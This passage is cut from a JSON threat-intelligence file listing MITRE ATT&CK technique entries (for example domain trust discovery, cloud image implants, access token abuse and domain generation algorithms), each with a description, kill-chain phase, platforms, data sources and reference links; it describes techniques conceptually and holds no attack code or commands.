"description": "Adversaries may attempt to gather information on domain trust relationships that may be used to identify lateral movement opportunities in Windows multi-domain/forest environments. Domain trusts provide a mechanism for a domain to allow access to resources based on the authentication procedures of another domain.(Citation: Microsoft Trusts) Domain trusts allow the users of the trusted domain to access resources in the trusting domain. The information discovered may help the adversary conduct [SID-History Injection](https://attack.mitre.org/techniques/T1134/005), [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003), and [Kerberoasting](https://attack.mitre.org/techniques/T1558/003).(Citation: AdSecurity Forging Trust Tickets)(Citation: Harmj0y Domain Trusts) Domain trusts can be enumerated using the `DSEnumerateDomainTrusts()` Win32 API call, .NET methods, and LDAP.(Citation: Harmj0y Domain Trusts) The Windows utility [Nltest](https://attack.mitre.org/software/S0359) is known to be used by adversaries to enumerate domain trusts.(Citation: Microsoft Operation Wilysupply)",
"meta": {
"external_id": "T1482",
"kill_chain": [
"mitre-attack:discovery"
],
"mitre_data_sources": [
"Command: Command Execution",
"Process: OS API Execution",
"Process: Process Creation",
"Script: Script Execution"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/",
"https://adsecurity.org/?p=1588",
"https://attack.mitre.org/techniques/T1482",
"https://docs.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectory.domain.getalltrustrelationships?redirectedfrom=MSDN&view=netframework-4.7.2#System_DirectoryServices_ActiveDirectory_Domain_GetAllTrustRelationships",
"https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc759554(v=ws.10)",
"https://www.microsoft.com/security/blog/2017/05/04/windows-defender-atp-thwarts-operation-wilysupply-software-supply-chain-cyberattack/"
]
},
"uuid": "767dbf9e-df3f-45cb-8998-4903ab5f80c0",
"value": "Domain Trust Discovery - T1482"
},
{
"description": "Adversaries may attempt to exploit enterprise servers, workstations, or other resources over the network. This technique may take advantage of the mobile device's access to an internal enterprise network either through local connectivity or through a Virtual Private Network (VPN).",
"meta": {
"external_id": "APP-32",
"kill_chain": [
"mitre-mobile-attack:lateral-movement"
],
"mitre_platforms": [
"Android",
"iOS"
],
"refs": [
"https://attack.mitre.org/techniques/T1428",
"https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-32.html"
]
},
"uuid": "22379609-a99f-4a01-bd7e-70f3e105859d",
"value": "Exploit Enterprise Resources - T1428"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1249).\n\nSocial Engineering is the practice of manipulating people in order to get them to divulge information or take an action. (Citation: SEAttackVectors) (Citation: BeachSE2003)",
"meta": {
"external_id": "T1249",
"kill_chain": [
"mitre-pre-attack:technical-information-gathering"
],
"refs": [
"https://attack.mitre.org/techniques/T1249"
]
},
"related": [
{
"dest-uuid": "a757670d-d600-48d9-8ae9-601d42c184a5",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "related-to"
},
{
"dest-uuid": "af358cad-eb71-4e91-a752-236edc237dae",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "related-to"
}
],
"uuid": "74a3288e-eee9-4f8e-973a-fbc128e033f1",
"value": "Conduct social engineering - T1249"
},
{
"description": "Adversaries may insert, delete, or manipulate data at rest in order to manipulate external outcomes or hide activity.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating stored data, adversaries may attempt to affect a business process, organizational understanding, and decision making. \n\nStored data could include a variety of file formats, such as Office files, databases, stored emails, and custom file formats. The type of modification and the impact it will have depends on the type of data as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.",
"meta": {
"external_id": "T1492",
"refs": [
"https://attack.mitre.org/techniques/T1492",
"https://content.fireeye.com/apt/rpt-apt38",
"https://www.justice.gov/opa/press-release/file/1092091/download"
]
},
"related": [
{
"dest-uuid": "1cfcb312-b8d7-47a4-b560-4b16cc677292",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "0bf78622-e8d2-41da-a857-731472d61a92",
"value": "Stored Data Manipulation - T1492"
},
{
"description": "Adversaries may implant cloud or container images with malicious code to establish persistence after gaining access to an environment. Amazon Web Services (AWS) Amazon Machine Images (AMIs), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be implanted or backdoored. Unlike [Upload Malware](https://attack.mitre.org/techniques/T1608/001), this technique focuses on adversaries implanting an image in a registry within a victim’s environment. Depending on how the infrastructure is provisioned, this could provide persistent access if the infrastructure provisioning tool is instructed to always use the latest image.(Citation: Rhino Labs Cloud Image Backdoor Technique Sept 2019)\n\nA tool has been developed to facilitate planting backdoors in cloud container images.(Citation: Rhino Labs Cloud Backdoor September 2019) If an attacker has access to a compromised AWS instance, and permissions to list the available container images, they may implant a backdoor such as a [Web Shell](https://attack.mitre.org/techniques/T1505/003).(Citation: Rhino Labs Cloud Image Backdoor Technique Sept 2019)",
"meta": {
"external_id": "T1525",
"kill_chain": [
"mitre-attack:persistence"
],
"mitre_data_sources": [
"Image: Image Creation",
"Image: Image Modification"
],
"mitre_platforms": [
"IaaS",
"Containers"
],
"refs": [
"https://attack.mitre.org/techniques/T1525",
"https://github.com/RhinoSecurityLabs/ccat",
"https://rhinosecuritylabs.com/aws/cloud-container-attack-tool/"
]
},
"uuid": "4fd8a28b-4b3a-4cd6-a8cf-85ba5f824a7f",
"value": "Implant Internal Image - T1525"
},
{
"description": "An adversary may attempt to enumerate the cloud services running on a system after gaining access. These methods can differ from platform-as-a-service (PaaS), to infrastructure-as-a-service (IaaS), or software-as-a-service (SaaS). Many services exist throughout the various cloud providers and can include Continuous Integration and Continuous Delivery (CI/CD), Lambda Functions, Azure AD, etc. \n\nAdversaries may attempt to discover information about the services enabled throughout the environment. Azure tools and APIs, such as the Azure AD Graph API and Azure Resource Manager API, can enumerate resources and services, including applications, management groups, resources and policy definitions, and their relationships that are accessible by an identity.(Citation: Azure - Resource Manager API)(Citation: Azure AD Graph API)\n\nStormspotter is an open source tool for enumerating and constructing a graph for Azure resources and services, and Pacu is an open source AWS exploitation framework that supports several methods for discovering cloud services.(Citation: Azure - Stormspotter)(Citation: GitHub Pacu)",
"meta": {
"external_id": "T1526",
"kill_chain": [
"mitre-attack:discovery"
],
"mitre_data_sources": [
"Cloud Service: Cloud Service Enumeration",
"Cloud Service: Cloud Service Metadata"
],
"mitre_platforms": [
"Azure AD",
"Office 365",
"SaaS",
"IaaS",
"Google Workspace"
],
"refs": [
"https://attack.mitre.org/techniques/T1526",
"https://docs.microsoft.com/en-us/previous-versions/azure/ad/graph/howto/azure-ad-graph-api-operations-overview",
"https://docs.microsoft.com/en-us/rest/api/resources/",
"https://github.com/Azure/Stormspotter",
"https://github.com/RhinoSecurityLabs/pacu"
]
},
"uuid": "e24fcba8-2557-4442-a139-1ee2f2e784db",
"value": "Cloud Service Discovery - T1526"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1265).\n\nSupply chains include the people, processes, and technologies used to move a product or service from a supplier to a consumer. Understanding supply chains may provide an adversary with opportunities to exploit the people, their positions, and relationships, that are part of the supply chain. (Citation: SmithSupplyChain) (Citation: CERT-UKSupplyChain)",
"meta": {
"external_id": "T1265",
"kill_chain": [
"mitre-pre-attack:people-information-gathering"
],
"refs": [
"https://attack.mitre.org/techniques/T1265"
]
},
"related": [
{
"dest-uuid": "7860e21e-7514-4a3f-8a9d-56405ccfdb0c",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "related-to"
},
{
"dest-uuid": "78e41091-d10d-4001-b202-89612892b6ff",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "related-to"
}
],
"uuid": "59369f72-3005-4e54-9095-3d00efcece73",
"value": "Identify supply chains - T1265"
},
{
"description": "Adversaries may use application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems. These tokens are typically stolen from users and used in lieu of login credentials.\n\nApplication access tokens are used to make authorized API requests on behalf of a user and are commonly used as a way to access resources in cloud-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) OAuth is one commonly implemented framework that issues tokens to users for access to systems. These frameworks are used collaboratively to verify the user and determine what actions the user is allowed to perform. Once identity is established, the token allows actions to be authorized, without passing the actual credentials of the user. Therefore, compromise of the token can grant the adversary access to resources of other sites through a malicious application.(Citation: okta)\n\nFor example, with a cloud-based email service once an OAuth access token is granted to a malicious application, it can potentially gain long-term access to features of the user account if a \"refresh\" token enabling background access is awarded.(Citation: Microsoft Identity Platform Access 2019) With an OAuth access token an adversary can use the user-granted REST API to perform functions such as email searching and contact enumeration.(Citation: Staaldraad Phishing with OAuth 2017)\n\nCompromised access tokens may be used as an initial step in compromising other services. For example, if a token grants access to a victim’s primary email, the adversary may be able to extend access to all other services which the target subscribes by triggering forgotten password routines. Direct API access through a token negates the effectiveness of a second authentication factor and may be immune to intuitive countermeasures like changing passwords. Access abuse over an API channel can be difficult to detect even from the service provider end, as the access can still align well with a legitimate workflow.\n",
"meta": {
"external_id": "T1527",
"refs": [
"https://attack.mitre.org/techniques/T1527",
"https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/",
"https://developer.okta.com/blog/2018/06/20/what-happens-if-your-jwt-is-stolen",
"https://docs.microsoft.com/en-us/azure/active-directory/develop/access-tokens",
"https://staaldraad.github.io/2017/08/02/o356-phishing-with-oauth/"
]
},
"related": [
{
"dest-uuid": "f005e783-57d4-4837-88ad-dbe7faee1c51",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "27960489-4e7f-461d-a62a-f5c0cb521e4a",
"value": "Application Access Token - T1527"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1258).\n\nFirmware is permanent software programmed into the read-only memory of a device. As with other types of software, firmware may be updated over time and have multiple versions. (Citation: Abdelnur Advanced Fingerprinting)",
"meta": {
"external_id": "T1258",
"kill_chain": [
"mitre-pre-attack:technical-information-gathering"
],
"refs": [
"https://attack.mitre.org/techniques/T1258"
]
},
"uuid": "6baf6388-d49f-4804-86a4-5837240555cd",
"value": "Determine firmware version - T1258"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1276).\n\nSupply chains include the people, processes, and technologies used to move a product or service from a supplier to a consumer. Understanding supply chains may provide an adversary with opportunities to exploit organizational relationships. (Citation: SmithSupplyChain) (Citation: CERT-UKSupplyChain)",
"meta": {
"external_id": "T1276",
"kill_chain": [
"mitre-pre-attack:organizational-information-gathering"
],
"refs": [
"https://attack.mitre.org/techniques/T1276"
]
},
"related": [
{
"dest-uuid": "59369f72-3005-4e54-9095-3d00efcece73",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "related-to"
},
{
"dest-uuid": "78e41091-d10d-4001-b202-89612892b6ff",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "related-to"
}
],
"uuid": "7860e21e-7514-4a3f-8a9d-56405ccfdb0c",
"value": "Identify supply chains - T1276"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1268).\n\nSocial Engineering is the practice of manipulating people in order to get them to divulge information or take an action. (Citation: SEAttackVectors) (Citation: BeachSE2003)",
"meta": {
"external_id": "T1268",
"kill_chain": [
"mitre-pre-attack:people-information-gathering"
],
"refs": [
"https://attack.mitre.org/techniques/T1268"
]
},
"related": [
{
"dest-uuid": "74a3288e-eee9-4f8e-973a-fbc128e033f1",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "related-to"
},
{
"dest-uuid": "a757670d-d600-48d9-8ae9-601d42c184a5",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "related-to"
}
],
"uuid": "af358cad-eb71-4e91-a752-236edc237dae",
"value": "Conduct social engineering - T1268"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1296).\n\nAn adversary may assess a target's operational security (OPSEC) practices in order to identify targeting options. A target may share different information in different settings or be more of less cautious in different environments. (Citation: Scasny2015) (Citation: EverstineAirStrikes)",
"meta": {
"external_id": "T1296",
"kill_chain": [
"mitre-pre-attack:people-weakness-identification"
],
"refs": [
"https://attack.mitre.org/techniques/T1296"
]
},
"uuid": "d69c3e06-8311-4093-8e3e-0a8e06b15d92",
"value": "Assess targeting options - T1296"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1287).\n\nAn adversary will assess collected information such as software/hardware versions, vulnerabilities, patch level, etc. They will analyze technical scanning results to identify weaknesses in the confirmation or architecture. (Citation: SurveyDetectionStrategies) (Citation: CyberReconPaper) (Citation: RSA-APTRecon) (Citation: FireEyeAPT28)",
"meta": {
"external_id": "T1287",
"kill_chain": [
"mitre-pre-attack:technical-weakness-identification"
],
"refs": [
"https://attack.mitre.org/techniques/T1287"
]
},
"uuid": "773950e1-090c-488b-a480-9ff236312e31",
"value": "Analyze data collected - T1287"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1279).\n\nSocial Engineering is the practice of manipulating people in order to get them to divulge information or take an action. (Citation: SEAttackVectors) (Citation: BeachSE2003)",
"meta": {
"external_id": "T1279",
"kill_chain": [
"mitre-pre-attack:organizational-information-gathering"
],
"refs": [
"https://attack.mitre.org/techniques/T1279"
]
},
"related": [
{
"dest-uuid": "74a3288e-eee9-4f8e-973a-fbc128e033f1",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "related-to"
},
{
"dest-uuid": "af358cad-eb71-4e91-a752-236edc237dae",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "related-to"
}
],
"uuid": "a757670d-d600-48d9-8ae9-601d42c184a5",
"value": "Conduct social engineering - T1279"
},
{
"description": "On Android, an adversary could call standard operating system APIs from a malicious application to gather call log data, or with escalated privileges could directly access files containing call log data.\n\nOn iOS, applications do not have access to the call log, so privilege escalation would be required in order to access the data.",
"meta": {
"external_id": "APP-13",
"kill_chain": [
"mitre-mobile-attack:collection"
],
"mitre_platforms": [
"Android",
"iOS"
],
"refs": [
"https://attack.mitre.org/techniques/T1433",
"https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-13.html"
]
},
"related": [],
"uuid": "79eec66a-9bd0-4a3f-ac82-19159e94bd44",
"value": "Access Call Log - T1433"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1339).\n\nBackup infrastructure allows an adversary to recover from environmental and system failures. It also facilitates recovery or movement to other infrastructure if the primary infrastructure is discovered or otherwise is no longer viable. (Citation: LUCKYCAT2012)",
"meta": {
"external_id": "T1339",
"kill_chain": [
"mitre-pre-attack:establish-&-maintain-infrastructure"
],
"refs": [
"https://attack.mitre.org/techniques/T1339"
]
},
"uuid": "a425598d-7c19-40f7-9aa3-ac20f0d5c2b2",
"value": "Create backup infrastructure - T1339"
},
{
"description": "An adversary with control of a target's Google account can use the Google Play Store's remote installation capability to install apps onto the Android devices associated with the Google account as described in (Citation: Oberheide-RemoteInstall), (Citation: Konoth). However, only applications that are available for download through the Google Play Store can be remotely installed using this technique.\n\nDetection: An EMM/MDM or mobile threat protection solution can identify the presence of unwanted or known insecure or malicious apps on devices.\n\nPlatforms: Android",
"meta": {
"external_id": "T1443",
"refs": [
"https://attack.mitre.org/techniques/T1443"
]
},
"related": [
{
"dest-uuid": "d9db3d46-66ca-44b4-9daa-1ef97cb7465a",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "831e3269-da49-48ac-94dc-948008e8fd16",
"value": "Remotely Install Application - T1443"
},
{
"description": "**This technique has been deprecated. Please use [Input Capture](https://attack.mitre.org/techniques/T1417), [Input Injection](https://attack.mitre.org/techniques/T1516), and [Input Prompt](https://attack.mitre.org/techniques/T1411) where appropriate.**\n\nA malicious app could abuse Android's accessibility features to capture sensitive data or perform other malicious actions.(Citation: Skycure-Accessibility)\n\nAdversaries may abuse accessibility features on Android to emulate a user's clicks, for example to steal money from a user's bank account.(Citation: android-trojan-steals-paypal-2fa)(Citation: banking-trojans-google-play)\n\nAdversaries may abuse accessibility features on Android devices to evade defenses by repeatedly clicking the \"Back\" button when a targeted app manager or mobile security app is launched, or when strings suggesting uninstallation are detected in the foreground. This effectively prevents the malicious application from being uninstalled.(Citation: android-trojan-steals-paypal-2fa)",
"meta": {
"external_id": "T1453",
"kill_chain": [
"mitre-mobile-attack:collection",
"mitre-mobile-attack:credential-access",
"mitre-mobile-attack:impact",
"mitre-mobile-attack:defense-evasion"
],
"mitre_platforms": [
"Android"
],
"refs": [
"https://attack.mitre.org/techniques/T1453",
"https://www.skycure.com/blog/accessibility-clickjacking/",
"https://www.welivesecurity.com/2018/10/24/banking-trojans-continue-surface-google-play/",
"https://www.welivesecurity.com/2018/12/11/android-trojan-steals-money-paypal-accounts-2fa/"
]
},
"uuid": "2204c371-6100-4ae0-82f3-25c07c29772a",
"value": "Abuse Accessibility Features - T1453"
},
{
"description": "An adversary could call standard operating system APIs from a malicious application to gather calendar entry data, or with escalated privileges could directly access files containing calendar data.",
"meta": {
"external_id": "APP-13",
"kill_chain": [
"mitre-mobile-attack:collection"
],
"mitre_platforms": [
"Android",
"iOS"
],
"refs": [
"https://attack.mitre.org/techniques/T1435",
"https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-13.html"
]
},
"related": [],
"uuid": "62adb627-f647-498e-b4cc-41499361bacb",
"value": "Access Calendar Entries - T1435"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1345).\n\nA payload is the part of the malware which performs a malicious action. The adversary may create custom payloads when none exist with the needed capability or when targeting a specific environment. (Citation: APT1)",
"meta": {
"external_id": "T1345",
"kill_chain": [
"mitre-pre-attack:build-capabilities"
],
"refs": [
"https://attack.mitre.org/techniques/T1345"
]
},
"uuid": "fddd81e9-dd3d-477e-9773-4fb8ae227234",
"value": "Create custom payloads - T1345"
},
{
"description": "If network traffic between the mobile device and a remote server is not securely protected, then an attacker positioned on the network may be able to manipulate network communication without being detected. For example, FireEye researchers found in 2014 that 68% of the top 1,000 free applications in the Google Play Store had at least one Transport Layer Security (TLS) implementation vulnerability potentially opening the applications' network traffic to adversary-in-the-middle attacks (Citation: FireEye-SSL).",
"meta": {
"external_id": "APP-1",
"kill_chain": [
"mitre-mobile-attack:network-effects"
],
"mitre_platforms": [
"Android",
"iOS"
],
"refs": [
"https://attack.mitre.org/techniques/T1463",
"https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-1.html",
"https://www.fireeye.com/blog/threat-research/2014/08/ssl-vulnerabilities-who-listens-when-android-applications-talk.html"
]
},
"related": [],
"uuid": "d731c21e-f27d-4756-b418-0e2aaabd6d63",
"value": "Manipulate Device Communication - T1463"
},
{
"description": "Adversaries may communicate over a commonly used port to bypass firewalls or network detection systems and to blend with normal network activity to avoid more detailed inspection. \n\nThey may use commonly open ports such as\n\n* TCP:80 (HTTP)\n* TCP:443 (HTTPS)\n* TCP:25 (SMTP)\n* TCP/UDP:53 (DNS)\n\nThey may use the protocol associated with the port or a completely different protocol.",
"meta": {
"external_id": "T1436",
"kill_chain": [
"mitre-mobile-attack:command-and-control",
"mitre-mobile-attack:exfiltration"
],
"mitre_platforms": [
"Android",
"iOS"
],
"refs": [
"https://attack.mitre.org/techniques/T1436"
]
},
"uuid": "3911658a-6506-4deb-9ab4-595a51ae71ad",
"value": "Commonly Used Port - T1436"
},
{
"description": "Adversaries may make use of Domain Generation Algorithms (DGAs) to dynamically identify a destination for command and control traffic rather than relying on a list of static IP addresses or domains. This has the advantage of making it much harder for defenders block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Unit 42 DGA Feb 2019)\n\nDGAs can take the form of apparently random or “gibberish” strings (ex: istgmxdejdnxuyla.ru) when they construct domain names by generating each letter. Alternatively, some DGAs employ whole words as the unit by concatenating words together instead of letters (ex: cityjulydish.net). Many DGAs are time-based, generating a different domain for each time period (hourly, daily, monthly, etc). Others incorporate a seed value as well to make predicting future domains more difficult for defenders.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Talos CCleanup 2017)(Citation: Akamai DGA Mitigation)\n\nAdversaries may use DGAs for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008). When contact is lost with the primary command and control server malware may employ a DGA as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activity)",
"meta": {
"external_id": "T1483",
"refs": [
"http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html",
"http://csis.pace.edu/~ctappert/srd2017/2017PDF/d4.pdf",
"http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-Dissecting-DGAs-Eight-Real-World-DGA-Variants.pdf",
"https://arxiv.org/pdf/1611.00791.pdf",
"https://attack.mitre.org/techniques/T1483",
"https://blogs.akamai.com/2018/01/a-death-match-of-domain-generation-algorithms.html",
"https://datadrivensecurity.info/blog/posts/2014/Oct/dga-part2/",
"https://umbrella.cisco.com/blog/2016/10/10/domain-generation-algorithms-effective/",
"https://unit42.paloaltonetworks.com/threat-brief-understanding-domain-generation-algorithms-dga/",
"https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html",
"https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/"
]
},
"related": [
{
"dest-uuid": "118f61a5-eb3e-4fb6-931f-2096647f4ecd",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "54456690-84de-4538-9101-643e26437e09",
"value": "Domain Generation Algorithms - T1483"
},
{
"description": "Adversaries can communicate using cellular networks rather than enterprise Wi-Fi in order to bypass enterprise network monitoring systems. Adversaries may also communicate using other non-Internet Protocol mediums such as SMS, NFC, or Bluetooth to bypass network monitoring systems.",
"meta": {
"external_id": "APP-30",
"kill_chain": [
"mitre-mobile-attack:command-and-control",
"mitre-mobile-attack:exfiltration"
],
"mitre_platforms": [
"Android",
"iOS"
],
"refs": [
"https://attack.mitre.org/techniques/T1438",
"https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-30.html"
]
},
"related": [],
"uuid": "b3c2e5de-0941-4b57-ba61-af029eb5517a",
"value": "Alternate Network Mediums - T1438"
},
{
"description": "Adversaries may alter data en route to storage or other systems in order to manipulate external outcomes or hide activity.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating transmitted data, adversaries may attempt to affect a business process, organizational understanding, and decision making. \n\nManipulation may be possible over a network connection or between system processes where there is an opportunity deploy a tool that will intercept and change information. The type of modification and the impact it will have depends on the target transmission mechanism as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.",
"meta": {
"external_id": "T1493",
"refs": [
"https://attack.mitre.org/techniques/T1493",
"https://content.fireeye.com/apt/rpt-apt38",
"https://www.justice.gov/opa/press-release/file/1092091/download"
]
},
"related": [
{
"dest-uuid": "d0613359-5781-4fd2-b5be-c269270be1f6",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "cc1e737c-236c-4e3b-83ba-32039a626ef8",
"value": "Transmitted Data Manipulation - T1493"
},
{
"description": "Adversaries may undermine security controls that will either warn users of untrusted activity or prevent execution of untrusted programs. Operating systems and security products may contain mechanisms to identify programs or websites as possessing some level of trust. Examples of such features would include a program being allowed to run because it is signed by a valid code signing certificate, a program prompting the user with a warning because it has an attribute set from being downloaded from the Internet, or getting an indication that you are about to connect to an untrusted site.\n\nAdversaries may attempt to subvert these trust mechanisms. The method adversaries use will depend on the specific mechanism they seek to subvert. Adversaries may conduct [File and Directory Permissions Modification](https://attack.mitre.org/techniques/T1222) or [Modify Registry](https://attack.mitre.org/techniques/T1112) in support of subverting these controls.(Citation: SpectorOps Subverting Trust Sept 2017) Adversaries may also create or steal code signing certificates to acquire trust on target systems.(Citation: Securelist Digital Certificates)(Citation: Symantec Digital Certificates) ",
"meta": {
"external_id": "T1553",
"kill_chain": [
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"Command: Command Execution",
"File: File Metadata",
"File: File Modification",
"Module: Module Load",
"Process: Process Creation",
"Windows Registry: Windows Registry Key Creation",
"Windows Registry: Windows Registry Key Modification"
],
"mitre_platforms": [
"Windows",
"macOS",
"Linux"
],
"refs": [
"http://www.symantec.com/connect/blogs/how-attackers-steal-private-keys-digital-certificates",
"https://attack.mitre.org/techniques/T1553",
"https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec",
"https://securelist.com/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/68593/",
"https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf"
]
},
"uuid": "b83e166d-13d7-4b52-8677-dff90c548fd7",
"value": "Subvert Trust Controls - T1553"
},
{
"description": "An adversary may revert changes made to a cloud instance after they have performed malicious activities in attempt to evade detection and remove evidence of their presence. In highly virtualized environments, such as cloud-based infrastructure, this may be accomplished by restoring virtual machine (VM) or data storage snapshots through the cloud management dashboard or cloud APIs.\n\nAnother variation of this technique is to utilize temporary storage attached to the compute instance. Most cloud providers provide various types of storage including persistent, local, and/or ephemeral, with the ephemeral types often reset upon stop/restart of the VM.(Citation: Tech Republic - Restore AWS Snapshots)(Citation: Google - Restore Cloud Snapshot)",
"meta": {
"external_id": "T1536",
"refs": [
"https://attack.mitre.org/techniques/T1536",
"https://cloud.google.com/compute/docs/disks/restore-and-delete-snapshots",
"https://www.techrepublic.com/blog/the-enterprise-cloud/backing-up-and-restoring-snapshots-on-amazon-ec2-machines/"
]
},
"related": [
{
"dest-uuid": "0708ae90-d0eb-4938-9a76-d0fc94f6eec1",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "3b4121aa-fc8b-40c8-ac4f-afcb5838b72c",
"value": "Revert Cloud Instance - T1536"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1356).\n\nCallbacks are malware communications seeking instructions. An adversary will test their malware to ensure the appropriate instructions are conveyed and the callback software can be reached. (Citation: LeeBeaconing)",
"meta": {
"external_id": "T1356",
"kill_chain": [
"mitre-pre-attack:test-capabilities"
],
"refs": [
"https://attack.mitre.org/techniques/T1356"
]
},
"uuid": "0649fc36-72a0-40a0-a2f9-3fc7e3231ad6",
"value": "Test callback functionality - T1356"
},
{
"description": "An adversary may use a cloud service dashboard GUI with stolen credentials to gain useful information from an operational cloud environment, such as specific services, resources, and features. For example, the GCP Command Center can be used to view all assets, findings of potential security risks, and to run additional queries, such as finding public IP addresses and open ports.(Citation: Google Command Center Dashboard)\n\nDepending on the configuration of the environment, an adversary may be able to enumerate more information via the graphical dashboard than an API. This allows the adversary to gain information without making any API requests.",
"meta": {
"external_id": "T1538",
"kill_chain": [
"mitre-attack:discovery"
],
"mitre_data_sources": [
"Logon Session: Logon Session Creation",
"User Account: User Account Authentication"
],
"mitre_platforms": [
"Azure AD",
"Office 365",
"IaaS",
"Google Workspace"
],
"refs": [
"https://attack.mitre.org/techniques/T1538",
"https://cloud.google.com/security-command-center/docs/quickstart-scc-dashboard",
"https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-event-reference-aws-console-sign-in-events.html"
]
},
"uuid": "e49920b0-6c54-40c1-9571-73723653205f",
"value": "Cloud Service Dashboard - T1538"
},
{
